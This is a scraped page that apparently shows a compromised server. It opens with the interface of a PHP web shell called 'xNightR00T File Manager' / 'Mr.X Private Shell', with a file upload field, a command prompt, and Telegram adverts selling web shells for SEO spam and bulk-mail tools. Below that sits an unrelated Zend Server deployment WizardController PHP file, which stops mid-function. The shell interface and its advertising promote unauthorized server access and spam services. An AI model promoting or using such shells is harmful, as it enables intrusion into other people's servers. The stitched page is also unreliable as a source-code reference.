xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\Controller;

use Application\Module;
use Zend\InputFilter\InputFilter,
    Audit\Db\Mapper as auditMapper,
    Audit\Db\ProgressMapper,
    ZendServer\Mvc\Controller\ActionController,
    Deployment\SessionStorage,
    Deployment\Application\Package,
    Deployment\Forms\SetInstallation,
    Deployment\Model,
    ZendServer\Text,
    ZendServer\Exception,
    ZendServer\Log\Log;
use ZendServer\FS\FS;
use  ZendServer\Configuration\Manager;

class WizardController extends ActionController
{
    const DEMO_APP_NAME                   = 'Zend Demo Application';
    const DEMO_APP_PACKAGE_NAME           = 'ZendDemoApp';
    const SAMPLES_APP_NAME                = 'PHP Samples For IBMI';
    const SAMPLES_APP_PACKAGE_NAME        = 'ZendSamplesApp';
    const WEBAPI_SAMPLES_APP_PACKAGE_NAME = 'WebAPI Samples';

    public function wizardAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $sessionStorage = new SessionStorage($wizardId);
        $sessionStorage->clear();

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $get           = $this->getRequest()->getQuery()->toArray();
        $action        = isset($get['action']) ? $get['action'] : 'deploy';
        $applicationId = isset($get['applicationId']) ? $get['applicationId'] : '';

        $viewModel->external = false;
        if ($action == 'update') {
            // get baseUrl and put it in the session for the update process
            $model           = $this->getLocator()->get('Deployment\Model');
            $applicationInfo = $model->getApplicationById($applicationId);
            $sessionStorage->setBaseUrl($applicationInfo->getBaseUrl());
            $sessionStorage->setApplicationId($applicationId);
        } elseif ($action == 'download') {

            $viewModel->external = true;
            if ($get['name'] == self::DEMO_APP_NAME || $get['name'] == self::SAMPLES_APP_NAME) {
                try {
                    $pinger = false;
                    // disable the network connection by directive setting
                    if ($this->getNetworkEnableFlag()) {
                        $pinger = @file_get_contents('http://www.zend.com/products/server/license/ping');
                    }
                } catch (\Exception $e) {
                    // do nothing
                }
                // no internet connection or demo.zpk - deploy internally
                if ($pinger === false || $get['name'] == self::DEMO_APP_NAME) {
                    $viewModel->external = false;

                    if ($get['name'] == self::DEMO_APP_NAME) {
                        $filepath = FS::createPath(ZEND_SERVER_GUI_PATH, 'data', 'demo.zpk');
                    } elseif ($get['name'] == self::SAMPLES_APP_NAME) {
                        $filepath = FS::createPath(ZEND_SERVER_GUI_PATH, 'data', 'PHPSamplesForIBMi.zpk');
                    }

                    $result = $this->storeDownloadedPackage($sessionStorage, $filepath, false);

                    $viewModel->setVariable('message', $result['message']);
                    $viewModel->setVariable('success', $result['success']);
                } else { // have internet connection - download demo application
                    // disable the network connection by directive setting
                    if (!$this->getNetworkEnableFlag()) {
                        throw new WebAPI\Exception('The Internet access of Zend Server is disabled. Go to Administration->Settings');
                    }

                    $viewModel->downloadParams = array('url' => $get['url'], 'name' => $get['name'], 'version' => $get['version']);
                }
            } else {
                // disable the network connection by directive setting
                if (!$this->getNetworkEnableFlag()) {
                    throw new WebAPI\Exception('The Internet access of Zend Server is disabled. Go to Administration->Settings');
                }
                $viewModel->downloadParams = array('url' => $get['url'], 'name' => $get['name'], 'version' => $get['version']);
            }
        }

        $viewModel->wizardAction  = $action;
        $viewModel->applicationId = $applicationId;
        $viewModel->wizardId      = $wizardId;

        return $viewModel;
    }

    public function retryDownloadAction()
    {
        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $params = $this->getParameters(array('url' => ''));

        $library = $this->getDeploymentDbMapper()->deleteByUrl($params['url']);

        return $viewModel;
    }

    public function downloadAction()
    {


        $jsonOut = $this->getRequest()->getQuery('json');

        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $params = $this->getParameters(array('url' => '', 'name' => '', 'version' => ''));

        // disable the network connection by directive setting, demo app is installed locally
        if (!$this->getNetworkEnableFlag() && $params['name'] != self::DEMO_APP_NAME) {
            throw new \WebAPI\Exception('The Internet access of Zend Server is disabled. Go to Administration->Settings');
        }

        // get directive that indicates if we allowed to download or not
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */
        $autoDownload     = $directivesMapper->getDirective('zend_deployment.auto_download');
        $allowDownloading = $autoDownload->getFileValue();

        // add env params to the url
        $zsVersion  = Module::config('package', 'version');
        $phpVersion = phpversion();
        $osName     = FS::getOSAsString();
        $arch       = php_uname('m');

        if (strtolower($osName) == 'linux') {
            $osName = $this->getLinuxDistro();
            if (empty($osName)) {
                $osName = 'Linux';
            }
        }

        $uniqueId = Module::config('license', 'zend_gui', 'uniqueId');

        $url         = $params['url'];
        $uri         = \Zend\Uri\UriFactory::factory($url);
        $queryParams = array_merge($uri->getQueryAsArray(),
            array('zs' => $zsVersion, 'php' => $phpVersion, 'os' => $osName, 'arch' => $arch, 'uid' => $uniqueId));
        $uri->setQuery($queryParams);
        $url         = $uri->toString();

        $downloadDone = false;
        if ($params['name'] == self::DEMO_APP_NAME || $params['name'] == self::SAMPLES_APP_NAME) {
            try {
                $pinger = @file_get_contents('http://www.zend.com/products/server/license/ping');
            } catch (\Exception $e) {
                // do nothing
            }
            // no internet connection or demo.zpk - deploy internally
            if ($pinger === false || $params['name'] == self::DEMO_APP_NAME) {

                // copy the inside package to the temp gui dir avoid the removing by mistake
                if ($params['name'] == self::DEMO_APP_NAME) {
                    $url = FS::createPath(ZEND_SERVER_GUI_PATH, 'data', 'demo.zpk');
                    if ($url) {
                        if (copy($url, FS::createPath(FS::getGuiTempDir(), 'demo.zpk'))) {
                            $url = FS::createPath(FS::getGuiTempDir(), 'demo.zpk');
                        }
                    }
                } elseif ($params['name'] == self::SAMPLES_APP_NAME) {
                    $url = FS::createPath(ZEND_SERVER_GUI_PATH, 'data', 'PHPSamplesForIBMi.zpk');
                    if ($url) {
                        if (copy($url, FS::createPath(FS::getGuiTempDir(), 'PHPSamplesForIBMi.zpk'))) {
                            $url = FS::createPath(FS::getGuiTempDir(), 'PHPSamplesForIBMi.zpk');
                        }
                    }
                }

                $sessionStorage = new SessionStorage($wizardId);
                $sessionStorage->clear();
                $result         = $this->storeDownloadedPackage($sessionStorage, $url, false);

                $downloadDone = true;
            }
        }

        $this->getRequest()->getPost()->url      = $url;
        $this->getRequest()->getPost()->name     = $params['name'];
        $this->getRequest()->getPost()->version  = $params['version'];
        $this->getRequest()->getPost()->override = 'TRUE';

        if ($allowDownloading) {
            try {
                $output   = $this->forward()->dispatch('DeploymentWebAPI-1_6',
                    array('action' => 'deploymentDownloadFile'));
                $download = $this->getDeploymentDbMapper()->findByUrl($url);

                $sessionStorage = new SessionStorage($wizardId);
                $sessionStorage->setDownloadId($download['id']);
            } catch (\Exception $e) {

            }
        }

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        if ($jsonOut) {
            $viewModel->setTemplate('deployment/wizard/upload-json');

            $respnseArray = array('url' => $url,
                'name' => $params['name'],
                'allowDownloading' => $allowDownloading,
                'wizardId' => $wizardId);

            // to set a flag "done" to the deployment-wizard.js that it shouldn't wait to downloadFileStatus but directly to finishDownload
            if ($downloadDone) {
                $respnseArray['done']         = true;
                $respnseArray['data']['size'] = filesize($url);
            }

            $viewModel->response = $respnseArray;
        } else {
            $viewModel->setVariable('url', $url);
            $viewModel->setVariable('name', $params['name']);
            $viewModel->setVariable('version', $params['version']);
            $viewModel->setVariable('allowDownloading', $allowDownloading);
            $viewModel->setVariable('wizardId', $wizardId);
        }

        return $viewModel;
    }

    public function finishDownloadAction()
    {
        $jsonOut  = $this->getRequest()->getQuery('json');
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $params = $this->getParameters(array('path' => ''));

        $sessionStorage = new SessionStorage($wizardId);

        $result = $this->storeDownloadedPackage($sessionStorage, $params['path']);

        if ($jsonOut) {
            $viewModel->setTemplate('deployment/wizard/upload-json');
            try {
                $package = null;

                $package                = Package::generate($sessionStorage->getPackageFilePath());
                $readme                 = $package->getReadme();
                $eula                   = $package->getEula();
                $prerequisitesConf      = $package->getPrerequisites();
                $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisitesConf);
                $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
                $configurationContainer->createConfigurationSnapshot(
                    $configuration->getGenerator()->getDirectives(), $configuration->getGenerator()->getExtensions(),
                    null, $configuration->getGenerator()->needServerData()
                );

                $prerequisites = array(
                    'valid' => $configuration->isValid($configurationContainer)
                );

                if (count($configuration->getMessages()) > 0) {
                    $prerequisites['items'] = $configuration->getMessages();
                }

                $packageData = array(
                    'readme' => $readme ? $readme : false,
                    'name' => $package->getName(),
                    'version' => $package->getVersion(),
                    'displayName' => $package->getName(),
                    'logo' => base64_encode($package->getLogo()),
                    'eula' => $eula ? $eula : false,
                    'prerequisites' => $prerequisites,
                    'userParams' => $package->getRequiredParams(),
                );

                $vhostsResult = $this->getVhostMapper()->getVhosts();
                $vhostsIds    = array();
                $vhostsResult->buffer();
                foreach ($vhostsResult as $vhostContainer) {
                    $vhostsIds[] = $vhostContainer->getId();
                }
                $vhostNodes = $this->getVhostMapper()->getFullVhostNodes($vhostsIds);

                $vhosts = array();
                foreach ($vhostsResult as $vhost) {
                    /// collect all managed vhosts, filter out the default vhost
                    if ($vhost->isManagedByZend() && (!$vhost->isDefault())) {
                        foreach ($vhostNodes[$vhost->getId()] as $vhostNodeContainer) {
                            // if not all nodes have the error status of vhost, we attach it to the list
                            if ($vhostNodeContainer->getStatus() != \Vhost\Entity\Vhost::STATUS_ERROR) {

                                $vhostString = "{$vhost->getName()}:{$vhost->getPort()}";
                                if (Manager::isIIS()) {
                                    foreach ($vhost->getBindings() as $binding) {
                                        $vhostString = $binding['HOSTNAME'] . ":{$vhost->getPort()}";
                                        break;
                                    }
                                }
                                $vhostScheme = $vhost->isSsl() ? 'https://' : 'http://';
                                $vHostName = $vhostScheme.$vhostString;
                                if (Manager::isIIS()) {
                                    $vHostName = $vhost->getName();
                                }

                                $vhostString = "{$vhost->getName()}:{$vhost->getPort()}";
                                $vhostScheme = $vhost->isSsl() ? 'https://' : 'http://';

                                $vhosts[] = array("value" => $vhostScheme.$vhostString, "title" => $vHostName);
                                break;
                            }
                        }
                    }
                }

                $onlyFile = basename($sessionStorage->getPackageFilePath());

                $viewModel->response = array(
                    'success' => true,
                    'message' => 'Package '.$onlyFile.' successfully downloaded',
                    'packageData' => $packageData,
                    'vhosts' => $vhosts
                );
            } catch (Exception $e) {
                $viewModel->response = array(
                    'success' => false,
                    'message' => 'Invalid Package'
                );
            }
        }
        $viewModel->setVariable('message', $result['message']);
        $viewModel->setVariable('success', $result['success']);

        return $viewModel;
    }

    private function storeDownloadedPackage($sessionStorage, $packagePath, $deleteOnComplete = true)
    {
        $success = true;
        $message = '';

        if (Package::isValid($packagePath)) {
            try {
                $this->validateUploadedPackage($packagePath);
            } catch (\Deployment\Exception $ex) {
                if ($ex->getCode() <= \Deployment\Exception::WRONG_TYPE || $ex->getCode() >= \Deployment\Exception::UNKNOWN_ERROR) {
                    $message = $ex->getMessage();
                    $success = false;

                    if ($deleteOnComplete) {
                        FS::unlink($packagePath);
                    }

                    return array('message' => $message, 'success' => $success);
                }
            }

            $sessionStorage->setPackageFilePath($packagePath);

            $package = null;
            try {
                $package  = Package::generate($packagePath);
                $sessionStorage->setStoredPackage($package);
                $onlyFile = basename($packagePath);
                $message  = 'Package '.$onlyFile.' successfully downloaded';
            } catch (Exception $e) {
                $message = 'Could not retrieve the application package by base URL(1): '.$e->getMessage();
                Log::err($message);

                $success = false;
            }
        } else {
            $message = _t('The uploaded file is not a valid package. Further details can be found in deployment.log');
            $success = false;
        }

        return array('message' => $message, 'success' => $success);
    }

    public function deployAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel();
        $viewModel->setTerminal(true);
        try {
            $sessionStorage = new SessionStorage($wizardId);
            $baseUrl        = $sessionStorage->getBaseUrl();
            $model       = $this->getLocator('Deployment\Model'); /* @var $model \Deployment\Model */
            $package     = $model->getPendingDeploymentByBaseUrl($baseUrl);

            $zendParams  = $package->getZendParams();
            $userAppName = $zendParams['userApplicationName'];

            $packagePath = $sessionStorage->getPackageFilePath();
        } catch (Exception $e) {
            Log::err('Could not retrieve the application package by base URL(2): '.$e->getMessage());
            throw new Exception('Deployment package is missing.  Retry your last action and if this problem persists, go to the Zend Support Center at: http://www.zend.com/support-center');
        }

        // check if the application already exists,
        $application = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl, $__includeCandidates = true);
        if ($application) {
            if ($application->getAppStatus() != \ZendDeployment_Application_Interface::STATUS_INTEGRATION_CANDIDATE) {
                throw new WebAPI\Exception(
                    _t("This application has already been installed"), WebAPI\Exception::BASE_URL_CONFLICT
                );
            } else {
                $this->getDeploymentMapper()->removeIntegrationCandidateApplication($application->getApplicationId());

            }
        }

        /* @var $auditMessage \Audit\Container */
        $auditMessage = $this->auditMessage(
            auditMapper::AUDIT_APPLICATION_DEPLOY,
            ProgressMapper::AUDIT_PROGRESS_REQUESTED,
            array(
                array(
                    'Application name' => $userAppName,
                    'base URL' => $baseUrl,
                ),
            ),
            $baseUrl
        );

        /* @var \Deployment\Mapper\Deploy */
        $deployMapper = $this->getLocator()->get('Deployment\Mapper\Deploy');
        $deployMapper->deployApplication($baseUrl);

        if (file_exists($packagePath) && is_writable($packagePath)) {
            unlink($packagePath);
        }

        $application = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl);

        $viewModel->setVariable('application', $application);
        return $viewModel;
    }

    /**
     * Update the application - The package is already stored in the DB/Session/Disk.
     *
     * @api
     * @method POST
     * @version 1.3
     * @section Deployment
     * @param integer wizardId - (Mandatory) The number of the wizard
     * @param array nodes - (Optional) List of nodes where the update should occur. When not provided, the update is applied on all the nodes.
     * 					It's possible to pass an empty array, then the package will be only prepared, but not deployed.
     * @response {}
     *
     * @return
     */
    public function updateAction()
    {
        $params = $this->getParameters(array(
            'wizardId' => false,
            'nodes' => null,
        ));
        $this->validateMandatoryParameters($params, array('wizardId'));

        // validate the wizard ID
        $wizardId = $params['wizardId'];
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)
        // validate the nodes parameter
        $nodes    = $params['nodes'];
        if (!is_null($nodes)) {
            // check if this is an empty string
            if (is_string($nodes)) {
                if (empty($nodes)) {
                    // set an empty array
                    $nodes = array();
                } else {
                    throw new \Exception('Nodes parameter should be an empty string (for delayed update), an array (list of node IDs) or not provided at all');
                }
            } else if (is_array($nodes)) {
                foreach ($nodes as $nodeId) {
                    $this->validateInteger($nodeId, 'node id "'.$nodeId.'"');
                }
            }
        }

        try {
            $sessionStorage = new SessionStorage($wizardId);
            $baseUrl        = $sessionStorage->getBaseUrl();
        } catch (Exception $e) {
            Log::err('Could not retrieve the application package by base URL(3): '.$e->getMessage());
            throw new Exception('The deployment package could not be found.  Retry your last action and if this problem persists, go to the Zend Support Center at: http://www.zend.com/support-center');
        }

        $application = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl);
        if (!$application) {
            throw new Exception('Cannot locate the application');
        }

        // forward the request to applicationUpdate web API //
        // set the relevant parameters
        /* @var \Zend\Strlib\Parameters */
        $post = $this->getRequest()->getPost();
        $post->set('appId', $application->getApplicationId());
        $post->set('ignoreFailures', 'FALSE');
        $post->set('userParams', array());
        $post->set('nodes', $nodes);

        // set the app package file to a local folder
        $post->set('_appPackageLocalPath', $sessionStorage->getPackageFilePath());

        $this->getRequest()->setPost($post);

        // call the application update web API
        $this->forward()->dispatch('DeploymentWebAPI-1_2', array('action' => 'applicationUpdate'));

        $viewModel = new \Zend\View\Model\ViewModel();
        $viewModel->setTerminal(true);
        $viewModel->setTemplate('deployment/wizard/deploy');
        $viewModel->setVariable('application', $application);
        return $viewModel;
    }

    public function uploaderAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)
        //TODO is this suppose to be empty.phtml?
        $this->Layout('layout/login');
        //$viewModel = new \Zend\View\Model\ViewModel ();
        //$viewModel->setTerminal ( true );

        try {
            $sessionStorage = new SessionStorage($wizardId);
            $baseUrl        = $sessionStorage->getBaseUrl();
            $action         = 'Upload-Update';
        } catch (Exception $e) {
            $action = 'Upload';
        }

        return array('action' => $action, 'controller' => 'Wizard', 'wizardId' => $wizardId);

        //$viewModel->action = $action;
        //return $viewModel;
    }

    public function uploadUpdateAction()
    {

        $jsonOut = $this->getRequest()->getQuery('json');

        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $success = true;

        /* @var \Deployment\Model */
        $model          = $this->getLocator()->get('Deployment\Model');
        $sessionStorage = new SessionStorage($wizardId);


        try {
            if ($jsonOut) {
                $viewModel->setTemplate('deployment/wizard/upload-json');
                $get           = $this->getRequest()->getQuery()->toArray();
                $applicationId = isset($get['applicationId']) ? $get['applicationId'] : '';
                $application   = $model->getApplicationById($applicationId);
                $sessionStorage->setBaseUrl($application->getBaseUrl());
                $sessionStorage->setApplicationId($applicationId);
                $baseUrl       = $sessionStorage->getBaseUrl();
            } else {
                $baseUrl     = $sessionStorage->getBaseUrl();
                $application = $model->getApplicationByBaseUrl($baseUrl);
            }
        } catch (Exception $e) {
            Log::err('Base URL was not provided for the deployment action');
            $success = false;

            $viewModel->message = 'This application does not exist';
            $viewModel->success = false;

            $viewModel->response = array(
                'message' => 'This application does not exist',
                'success' => false
            );
            return $viewModel;
        }


        if (Model::STATUS_NOT_EXISTS == $application->getStatus()) {
            Log::err('Could not retrieve package by base URL');

            $viewModel->message = 'This application does not exist';
            $viewModel->success = false;

            $viewModel->response = array(
                'message' => 'This application does not exist',
                'success' => false
            );
            return $viewModel;
        }

        $transfer  = new \Zend\File\Transfer\Adapter\Http ();
        $uploaddir = $this->getGuiTempDir();
        $transfer->setDestination($uploaddir);

        if ($transfer->receive(array(
                'url'
            ))) {
            $packagePath = $transfer->getFileName('url', true);
            if (is_array($packagePath)) {
                $packagePath = end($packagePath);
            }

            if (Package::isValid($packagePath)) {
                try {
                    $this->validateUploadedPackage($packagePath);
                } catch (\Deployment\Exception $ex) {
                    if ($ex->getCode() <= \Deployment\Exception::WRONG_TYPE || $ex->getCode() >= \Deployment\Exception::UNKNOWN_ERROR) {
                        $message            = $ex->getMessage();
                        $success            = false;
                        $viewModel->message = $message;
                        $viewModel->success = $success;

                        $viewModel->response = array(
                            'message' => $message,
                            'success' => $success
                        );
                        return $viewModel;
                    }
                }

                $sessionStorage->setPackageFilePath($packagePath);

                $package = null;
                try {
                    $package  = Package::generate($packagePath);
                    $sessionStorage->setStoredPackage($package);
                    $onlyFile = basename($packagePath);

                    // Verify it is the same package
                    if ($package->getName() != $application->getApplicationName()) {
                        $viewModel->message = 'The deployed application does not match the supplied package';
                        $viewModel->success = false;

                        $viewModel->response = array(
                            'message' => 'The deployed application does not match the supplied package',
                            'success' => false
                        );

                        return $viewModel;
                    }

                    // store pending deployment
                    try {
                        $userAppName       = $application->getUserApplicationName();
                        $zendParams        = $model->createZendParams($userAppName, false, $baseUrl);
                        $deploymentPackage = $model->storePendingDeployment(
                            $packagePath, array(), $zendParams
                        );

                        $message = 'Package '.$onlyFile.' successfully uploaded';


                        $readme                 = $package->getReadme();
                        $eula                   = $package->getEula();
                        $prerequisitesConf      = $package->getPrerequisites();
                        $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisitesConf);
                        $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
                        $configurationContainer->createConfigurationSnapshot(
                            $configuration->getGenerator()->getDirectives(),
                            $configuration->getGenerator()->getExtensions(), null,
                            $configuration->getGenerator()->needServerData()
                        );

                        $prerequisites = array(
                            'valid' => $configuration->isValid($configurationContainer)
                        );

                        if (count($configuration->getMessages()) > 0) {
                            $prerequisites['items'] = $configuration->getMessages();
                        }

                        if ($sessionStorage->hasUserParams()) {
                            $form->setData($sessionStorage->getUserParams());
                            $valid = $form->isValid();
                        } else {
                            $valid = true;
                        }

                        $requiredParams = $package->getRequiredParams();

                        $userParams = array();
                        if ($sessionStorage->hasApplicationId()) {
                            $application = $model->getApplicationById($sessionStorage->getApplicationId());
                            $userParams  = $application->getUserParams();
                        } else {
                            $userParams = array();
                        }

                        $packageData = array(
                            'readme' => $readme ? $readme : false,
                            'name' => $package->getName(),
                            'version' => $package->getVersion(),
                            'displayName' => $package->getName(),
                            'logo' => base64_encode($package->getLogo()),
                            'eula' => $eula ? $eula : false,
                            'prerequisites' => $prerequisites,
                            'userParams' => $package->getRequiredParams(),
                            'userParamsValues' => $userParams
                        );
                    } catch (Exception $e) {
                        $message = 'Could not store the pending deployment package: '.$e->getMessage();
                        Log::err($message);

                        $success = false;
                    }
                } catch (Exception $e) {
                    $message = 'Could not retrieve the application package by base URL(4): '.$e->getMessage();
                    Log::err($message);

                    $success = false;
                }
            } else {
                $message = _t('The uploaded file is not a valid application package. Further details can be found in deployment.log');
                $success = false;
            }
        } else {
            $success = false;
            $message = array_values($transfer->getMessages());
        }

        $viewModel->message = $message;
        $viewModel->success = $success;

        $viewModel->response = array(
            'success' => $success,
            'message' => $message,
            'packageData' => $packageData,
        );


        return $viewModel;
    }

    public function uploadAction()
    {
        $jsonOut  = $this->getRequest()->getQuery('json');
        $wizardId = $this->getRequest()->getQuery('wizardId');

        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);
        if ($jsonOut) {
            $viewModel->setTemplate('deployment/wizard/upload-json');
        } else {
            $viewModel->setTemplate('deployment/wizard/upload');
        }
        $success = true;

        $transfer    = new \Zend\File\Transfer\Adapter\Http ();
        $uploaddir   = $this->getGuiTempDir();
        $transfer->setDestination($uploaddir);
        $packageData = array();
        $vhosts      = array();
        try {
            if ($transfer->receive(array('url'))) {
                $packagePath = $transfer->getFileName('url', true);

                if (is_array($packagePath)) {
                    $packagePath = end($packagePath);
                }

                // ZSR-3344 remove the temporary prefix
                // (The name of the uploaded file is prefixed now with its tmp_name)
                $tempFileName = isset($_FILES['url']['tmp_name']) ? $_FILES['url']['tmp_name'] : false;
                if ($tempFileName) {
                    $tempFileName = is_array($tempFileName) ? current($tempFileName) : $tempFileName;

                    $tempFileName = basename($tempFileName);
                    if ($tempFileName) {
                        $newPackagePath = str_replace($tempFileName.'_', '', $packagePath);
                    }

                    // rename the file if it's possible
                    if (!file_exists($newPackagePath) && @rename($packagePath, $newPackagePath)) {
                        $packagePath = $newPackagePath;
                    }
                }


                // validate the name of the package

                $this->validateZpkPath($packagePath);

                // ZwasComponents_Deployment_Api_Package::isValid($packagePath)
                if (Package::isValid($packagePath)) {
                    $sessionStorage = new SessionStorage($wizardId);

                    try {
                        $this->validateUploadedPackage($packagePath);
                    } catch (\Deployment\Exception $ex) {
                        if ($ex->getCode() <= \Deployment\Exception::WRONG_TYPE || $ex->getCode() >= \Deployment\Exception::UNKNOWN_ERROR) {
                            // delete the uploaded file
                            if (file_exists($packagePath) && is_writable($packagePath)) {
                                unlink($packagePath);
                            }

                            $message            = $ex->getMessage();
                            $success            = false;
                            $viewModel->message = $message;
                            $viewModel->success = $success;

                            $viewModel->response = array(
                                'success' => $success,
                                'message' => $message
                            );

                            return $viewModel;
                        }
                    }

                    Log::info('setting package path in the storage '.$packagePath);
                    $sessionStorage->setPackageFilePath($packagePath);

                    $package = null;
                    try {
                        $package                = Package::generate($packagePath);
                        $readme                 = $package->getReadme();
                        $eula                   = $package->getEula();
                        $prerequisitesConf      = $package->getPrerequisites();
                        $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisitesConf);
                        $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
                        $configurationContainer->createConfigurationSnapshot(
                            $configuration->getGenerator()->getDirectives(),
                            $configuration->getGenerator()->getExtensions(), null,
                            $configuration->getGenerator()->needServerData()
                        );

                        $prerequisites = array(
                            'valid' => $configuration->isValid($configurationContainer)
                        );

                        if (count($configuration->getMessages()) > 0) {
                            $prerequisites['items'] = $configuration->getMessages();
                        }

                        $packageData = array(
                            'is_default' => ($this->getDeploymentLibraryMapper()->getLibraryIdByName($package->getName())
                            == -1) ? true : false,
                            'readme' => $readme ? $readme : false,
                            'name' => $package->getName(),
                            'version' => $package->getVersion(),
                            'displayName' => $package->getName(),
                            'logo' => base64_encode($package->getLogo()),
                            'eula' => $eula ? $eula : false,
                            'prerequisites' => $prerequisites,
                            'userParams' => $package->getRequiredParams(),
                            // set flag if the library name is already exists, owerwise set a default
                        );

                        $vhostsResult = $this->getVhostMapper()->getAllActiveVhosts();

                        $vhostsIds    = array();
                        $vhostsResult->buffer();

                        /* @var \Vhost\Entity\Vhost */
                        foreach ($vhostsResult as $vhostContainer) {
                            $vhostsIds[] = $vhostContainer->getId();
                        }

                        $vhostNodes = $this->getVhostMapper()->getFullVhostNodes($vhostsIds);

                        foreach ($vhostsResult as $vhost) {
                            /// collect all managed vhosts, filter out the default vhost
                            if ($vhost->isManagedByZend() && (!$vhost->isDefault())) {
                                foreach ($vhostNodes[$vhost->getId()] as $vhostNodeContainer) {
                                    // if not all nodes have the error status of vhost, we attach it to the list
                                    if ($vhostNodeContainer->getStatus() != \Vhost\Entity\Vhost::STATUS_ERROR) {
                                        $vhostString = "{$vhost->getName()}:{$vhost->getPort()}";
                                        if (Manager::isIIS()) {
                                            foreach ($vhost->getBindings() as $binding) {
                                                $vhostString = $binding['HOSTNAME'] . ":{$vhost->getPort()}";
                                                break;
                                            }
                                        }
                                        $vhostScheme = $vhost->isSsl() ? 'https://' : 'http://';
                                        $vHostName = $vhostScheme.$vhostString;
                                        if (Manager::isIIS()) {
                                            $vHostName = $vhost->getName();
                                        }

                                        $vhosts[] = array("value" => $vhostScheme.$vhostString, "title" => $vHostName);
                                        break;
                                    }
                                }
                            }
                        }

                        $sessionStorage->setStoredPackage($package);
                        $onlyFile = basename($packagePath);
                        $message  = 'Package '.$onlyFile.' successfully uploaded';
                    } catch (Exception $e) {
                        $message = 'Upload operation failed: '.$e->getMessage();
                        Log::err($message);

                        // delete the uploaded file
                        if (file_exists($packagePath) && is_writable($packagePath)) {
                            unlink($packagePath);
                        }

                        $success = false;
                    }
                } else {
                    // $deploymentLog = ApplicationModel::getLogDirectorypath() .
                    // DIRECTORY_SEPARATOR .
                    // ZwasComponents_Deployment_Model::EXTENSION_LOG;
                    // delete the uploaded file
                    if (file_exists($packagePath) && is_writable($packagePath)) {
                        unlink($packagePath);
                    }

                    $message = _t('The uploaded file is not a valid package. Further details can be found in deployment.log');
                    $success = false;
                }
                // echo $packagePath;
            } else {
                $success = false;

                $errorMessages = $transfer->getMessages();

                // set specific message for max ini size upload errors
                if (isset($errorMessages['fileUploadErrorIniSize'])) {
                    if (\ZendServer\FS\FS::hasLighttpd()) {
                        $message = _t('The deployment filesize exceeds PHP ini settings. Consider increasing \'post_max_size\' and \'upload_max_filesize\' values in your lighttpd server.');
                    } else {
                        $message = _t('The deployment filesize exceeds PHP ini settings. Consider increasing \'post_max_size\' and \'upload_max_filesize\' values in your server configuration.');
                    }
                } else {
                    // get only the first error message
                    $messages = array_values($errorMessages);
                    $message  = $messages[0];
                }
            }
        } catch (\Exception $e) {
            $success = false;
            $message = $e->getMessage();
        }

        //
        // move_uploaded_file($_FILES['url']['tmp_name'][$count-1], 'c:\\Zend\\'
        // . $_FILES['url']['name'][$count-1]);
        // $deploymentLog =
        // Zwas_Path::create(ApplicationModel::getLogDirectorypath(),
        // ZwasComponents_Deployment_Model::EXTENSION_LOG);
        // The uploaded file is not a valid Zend Deployable Package. Further
        // details can be found in %s'

        $viewModel->message = $message;
        $viewModel->success = $success;

        $viewModel->response = array(
            'success' => $success,
            'message' => $message,
            'packageData' => $packageData,
            'vhosts' => $vhosts
        );
        return $viewModel;
    }

    public function installationAction()
    {
        $wizardId = $this->getRequest()->getQuery('wizardId');
        $this->validateInteger($wizardId, 'wizardId'); // mt_rand(100000,999999)

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);

        $valid = false;

        $path = '';
        try {
            $sessionStorage = new SessionStorage($wizardId);
            $path           = $sessionStorage->getPackageFilePath();
            $package        = $sessionStorage->getStoredPackage();
